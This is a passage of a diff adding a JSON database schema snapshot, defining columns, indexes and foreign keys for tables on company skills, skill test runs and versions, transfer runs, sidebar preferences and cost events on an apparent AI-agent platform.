+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "company_skill_test_run_templates_updated_by_agent_id_agents_id_fk": {
+          "name": "company_skill_test_run_templates_updated_by_agent_id_agents_id_fk",
+          "tableFrom": "company_skill_test_run_templates",
+          "tableTo": "agents",
+          "columnsFrom": [
+            "updated_by_agent_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.company_skill_test_runs": {
+      "name": "company_skill_test_runs",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "skill_id": {
+          "name": "skill_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "input_id": {
+          "name": "input_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "input_snapshot": {
+          "name": "input_snapshot",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "skill_version_id": {
+          "name": "skill_version_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "agent_id": {
+          "name": "agent_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "agent_config_snapshot": {
+          "name": "agent_config_snapshot",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'{}'::jsonb"
+        },
+        "issue_id": {
+          "name": "issue_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "template_id": {
+          "name": "template_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "template_name": {
+          "name": "template_name",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "template_body": {
+          "name": "template_body",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "rendered_template_body": {
+          "name": "rendered_template_body",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "harness_issue_description": {
+          "name": "harness_issue_description",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "''"
+        },
+        "status": {
+          "name": "status",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'queued'"
+        },
+        "output_document_key": {
+          "name": "output_document_key",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'output'"
+        },
+        "output_snapshot": {
+          "name": "output_snapshot",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "''"
+        },
+        "error": {
+          "name": "error",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "deleted_at": {
+          "name": "deleted_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "superseded_at": {
+          "name": "superseded_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "harness_issue_expires_at": {
+          "name": "harness_issue_expires_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "harness_issue_deleted_at": {
+          "name": "harness_issue_deleted_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "company_skill_test_runs_company_skill_created_idx": {
+          "name": "company_skill_test_runs_company_skill_created_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "skill_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "created_at",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "company_skill_test_runs_company_issue_idx": {
+          "name": "company_skill_test_runs_company_issue_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "issue_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "company_skill_test_runs_company_input_created_idx": {
+          "name": "company_skill_test_runs_company_input_created_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "input_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "created_at",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "company_skill_test_runs_company_status_idx": {
+          "name": "company_skill_test_runs_company_status_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "status",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "company_skill_test_runs_company_harness_expires_idx": {
+          "name": "company_skill_test_runs_company_harness_expires_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "harness_issue_expires_at",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "company_skill_test_runs_company_id_companies_id_fk": {
+          "name": "company_skill_test_runs_company_id_companies_id_fk",
+          "tableFrom": "company_skill_test_runs",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "company_skill_test_runs_skill_id_company_skills_id_fk": {
+          "name": "company_skill_test_runs_skill_id_company_skills_id_fk",
+          "tableFrom": "company_skill_test_runs",
+          "tableTo": "company_skills",
+          "columnsFrom": [
+            "skill_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "company_skill_test_runs_input_id_company_skill_test_inputs_id_fk": {
+          "name": "company_skill_test_runs_input_id_company_skill_test_inputs_id_fk",
+          "tableFrom": "company_skill_test_runs",
+          "tableTo": "company_skill_test_inputs",
+          "columnsFrom": [
+            "input_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "company_skill_test_runs_skill_version_id_company_skill_versions_id_fk": {
+          "name": "company_skill_test_runs_skill_version_id_company_skill_versions_id_fk",
+          "tableFrom": "company_skill_test_runs",
+          "tableTo": "company_skill_versions",
+          "columnsFrom": [
+            "skill_version_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "restrict",
+          "onUpdate": "no action"
+        },
+        "company_skill_test_runs_agent_id_agents_id_fk": {
+          "name": "company_skill_test_runs_agent_id_agents_id_fk",
+          "tableFrom": "company_skill_test_runs",
+          "tableTo": "agents",
+          "columnsFrom": [
+            "agent_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "restrict",
+          "onUpdate": "no action"
+        },
+        "company_skill_test_runs_issue_id_issues_id_fk": {
+          "name": "company_skill_test_runs_issue_id_issues_id_fk",
+          "tableFrom": "company_skill_test_runs",
+          "tableTo": "issues",
+          "columnsFrom": [
+            "issue_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "restrict",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.company_skill_versions": {
+      "name": "company_skill_versions",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "company_skill_id": {
+          "name": "company_skill_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "revision_number": {
+          "name": "revision_number",
+          "type": "integer",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "label": {
+          "name": "label",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "release_id": {
+          "name": "release_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "release_name": {
+          "name": "release_name",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "released_at": {
+          "name": "released_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "file_inventory": {
+          "name": "file_inventory",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'[]'::jsonb"
+        },
+        "author_agent_id": {
+          "name": "author_agent_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "author_user_id": {
+          "name": "author_user_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "company_skill_versions_skill_revision_idx": {
+          "name": "company_skill_versions_skill_revision_idx",
+          "columns": [
+            {
+              "expression": "company_skill_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "revision_number",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "company_skill_versions_skill_release_idx": {
+          "name": "company_skill_versions_skill_release_idx",
+          "columns": [
+            {
+              "expression": "company_skill_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "release_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "where": "\"company_skill_versions\".\"release_id\" is not null",
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "company_skill_versions_company_skill_created_idx": {
+          "name": "company_skill_versions_company_skill_created_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "company_skill_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "created_at",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "company_skill_versions_company_id_companies_id_fk": {
+          "name": "company_skill_versions_company_id_companies_id_fk",
+          "tableFrom": "company_skill_versions",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "company_skill_versions_company_skill_id_company_skills_id_fk": {
+          "name": "company_skill_versions_company_skill_id_company_skills_id_fk",
+          "tableFrom": "company_skill_versions",
+          "tableTo": "company_skills",
+          "columnsFrom": [
+            "company_skill_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "company_skill_versions_author_agent_id_agents_id_fk": {
+          "name": "company_skill_versions_author_agent_id_agents_id_fk",
+          "tableFrom": "company_skill_versions",
+          "tableTo": "agents",
+          "columnsFrom": [
+            "author_agent_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.company_skills": {
+      "name": "company_skills",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "folder_id": {
+          "name": "folder_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "key": {
+          "name": "key",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "slug": {
+          "name": "slug",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "name": {
+          "name": "name",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "description": {
+          "name": "description",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "markdown": {
+          "name": "markdown",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "source_type": {
+          "name": "source_type",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'local_path'"
+        },
+        "source_locator": {
+          "name": "source_locator",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "source_ref": {
+          "name": "source_ref",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "trust_level": {
+          "name": "trust_level",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'markdown_only'"
+        },
+        "compatibility": {
+          "name": "compatibility",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'compatible'"
+        },
+        "file_inventory": {
+          "name": "file_inventory",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'[]'::jsonb"
+        },
+        "icon_url": {
+          "name": "icon_url",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "color": {
+          "name": "color",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "tagline": {
+          "name": "tagline",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "author_name": {
+          "name": "author_name",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "homepage_url": {
+          "name": "homepage_url",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "categories": {
+          "name": "categories",
+          "type": "text[]",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'{}'"
+        },
+        "sharing_scope": {
+          "name": "sharing_scope",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'company'"
+        },
+        "public_share_token": {
+          "name": "public_share_token",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "forked_from_skill_id": {
+          "name": "forked_from_skill_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "forked_from_company_id": {
+          "name": "forked_from_company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "star_count": {
+          "name": "star_count",
+          "type": "integer",
+          "primaryKey": false,
+          "notNull": true,
+          "default": 0
+        },
+        "install_count": {
+          "name": "install_count",
+          "type": "integer",
+          "primaryKey": false,
+          "notNull": true,
+          "default": 0
+        },
+        "fork_count": {
+          "name": "fork_count",
+          "type": "integer",
+          "primaryKey": false,
+          "notNull": true,
+          "default": 0
+        },
+        "current_version_id": {
+          "name": "current_version_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "metadata": {
+          "name": "metadata",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "company_skills_company_key_idx": {
+          "name": "company_skills_company_key_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "key",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "company_skills_company_name_idx": {
+          "name": "company_skills_company_name_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "name",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "company_skills_company_folder_idx": {
+          "name": "company_skills_company_folder_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "folder_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "company_skills_company_categories_idx": {
+          "name": "company_skills_company_categories_idx",
+          "columns": [
+            {
+              "expression": "categories",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "gin",
+          "with": {}
+        },
+        "company_skills_company_sharing_scope_idx": {
+          "name": "company_skills_company_sharing_scope_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "sharing_scope",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "company_skills_company_current_version_idx": {
+          "name": "company_skills_company_current_version_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "current_version_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "company_skills_company_forked_from_idx": {
+          "name": "company_skills_company_forked_from_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "forked_from_skill_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "company_skills_company_id_companies_id_fk": {
+          "name": "company_skills_company_id_companies_id_fk",
+          "tableFrom": "company_skills",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "no action",
+          "onUpdate": "no action"
+        },
+        "company_skills_folder_id_folders_id_fk": {
+          "name": "company_skills_folder_id_folders_id_fk",
+          "tableFrom": "company_skills",
+          "tableTo": "folders",
+          "columnsFrom": [
+            "folder_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "company_skills_forked_from_skill_id_company_skills_id_fk": {
+          "name": "company_skills_forked_from_skill_id_company_skills_id_fk",
+          "tableFrom": "company_skills",
+          "tableTo": "company_skills",
+          "columnsFrom": [
+            "forked_from_skill_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "company_skills_forked_from_company_id_companies_id_fk": {
+          "name": "company_skills_forked_from_company_id_companies_id_fk",
+          "tableFrom": "company_skills",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "forked_from_company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "company_skills_current_version_id_company_skill_versions_id_fk": {
+          "name": "company_skills_current_version_id_company_skill_versions_id_fk",
+          "tableFrom": "company_skills",
+          "tableTo": "company_skill_versions",
+          "columnsFrom": [
+            "current_version_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.company_transfer_runs": {
+      "name": "company_transfer_runs",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "direction": {
+          "name": "direction",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "status": {
+          "name": "status",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'pending'"
+        },
+        "actor_key": {
+          "name": "actor_key",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "container_ref": {
+          "name": "container_ref",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "idempotency_key": {
+          "name": "idempotency_key",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "manifest_sha256": {
+          "name": "manifest_sha256",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "manifest": {
+          "name": "manifest",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "chunk_count": {
+          "name": "chunk_count",
+          "type": "integer",
+          "primaryKey": false,
+          "notNull": true,
+          "default": 0
+        },
+        "blob_count": {
+          "name": "blob_count",
+          "type": "integer",
+          "primaryKey": false,
+          "notNull": true,
+          "default": 0
+        },
+        "completed_parts": {
+          "name": "completed_parts",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'[]'::jsonb"
+        },
+        "error": {
+          "name": "error",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "started_at": {
+          "name": "started_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "finished_at": {
+          "name": "finished_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "company_transfer_runs_company_idx": {
+          "name": "company_transfer_runs_company_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "company_transfer_runs_idempotency_direction_idx": {
+          "name": "company_transfer_runs_idempotency_direction_idx",
+          "columns": [
+            {
+              "expression": "idempotency_key",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "direction",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "company_transfer_runs_actor_status_idx": {
+          "name": "company_transfer_runs_actor_status_idx",
+          "columns": [
+            {
+              "expression": "actor_key",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "status",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "company_transfer_runs_company_id_companies_id_fk": {
+          "name": "company_transfer_runs_company_id_companies_id_fk",
+          "tableFrom": "company_transfer_runs",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.company_user_sidebar_preferences": {
+      "name": "company_user_sidebar_preferences",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "user_id": {
+          "name": "user_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "project_order": {
+          "name": "project_order",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'[]'::jsonb"
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "company_user_sidebar_preferences_company_idx": {
+          "name": "company_user_sidebar_preferences_company_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "company_user_sidebar_preferences_user_idx": {
+          "name": "company_user_sidebar_preferences_user_idx",
+          "columns": [
+            {
+              "expression": "user_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "company_user_sidebar_preferences_company_user_uq": {
+          "name": "company_user_sidebar_preferences_company_user_uq",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "user_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "company_user_sidebar_preferences_company_id_companies_id_fk": {
+          "name": "company_user_sidebar_preferences_company_id_companies_id_fk",
+          "tableFrom": "company_user_sidebar_preferences",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.cost_events": {
+      "name": "cost_events",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "agent_id": {
+          "name": "agent_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "issue_id": {
+          "name": "issue_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "project_id": {
+          "name": "project_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "goal_id": {
+          "name": "goal_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "heartbeat_run_id": {
+          "name": "heartbeat_run_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "billing_code": {
+          "name": "billing_code",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "provider": {
+          "name": "provider",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "biller": {
+          "name": "biller",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'unknown'"
+        },
+        "billing_type": {
+          "name": "billing_type",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'unknown'"
+        },
+        "cost_status": {
+          "name": "cost_status",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'reported'"
+        },
+        "model": {
+          "name": "model",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "input_tokens": {
+          "name": "input_tokens",
+          "type": "integer",
+          "primaryKey": false,
+          "notNull": true,
+          "default": 0
+        },
+        "cached_input_tokens": {
+          "name": "cached_input_tokens",
+          "type": "integer",
+          "primaryKey": false,
+          "notNull": true,
+          "default": 0
+        },
+        "output_tokens": {
+          "name": "output_tokens",
+          "type": "integer",
+          "primaryKey": false,
+          "notNull": true,
+          "default": 0
+        },
+        "cost_cents": {
+          "name": "cost_cents",
+          "type": "integer",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "occurred_at": {
+          "name": "occurred_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
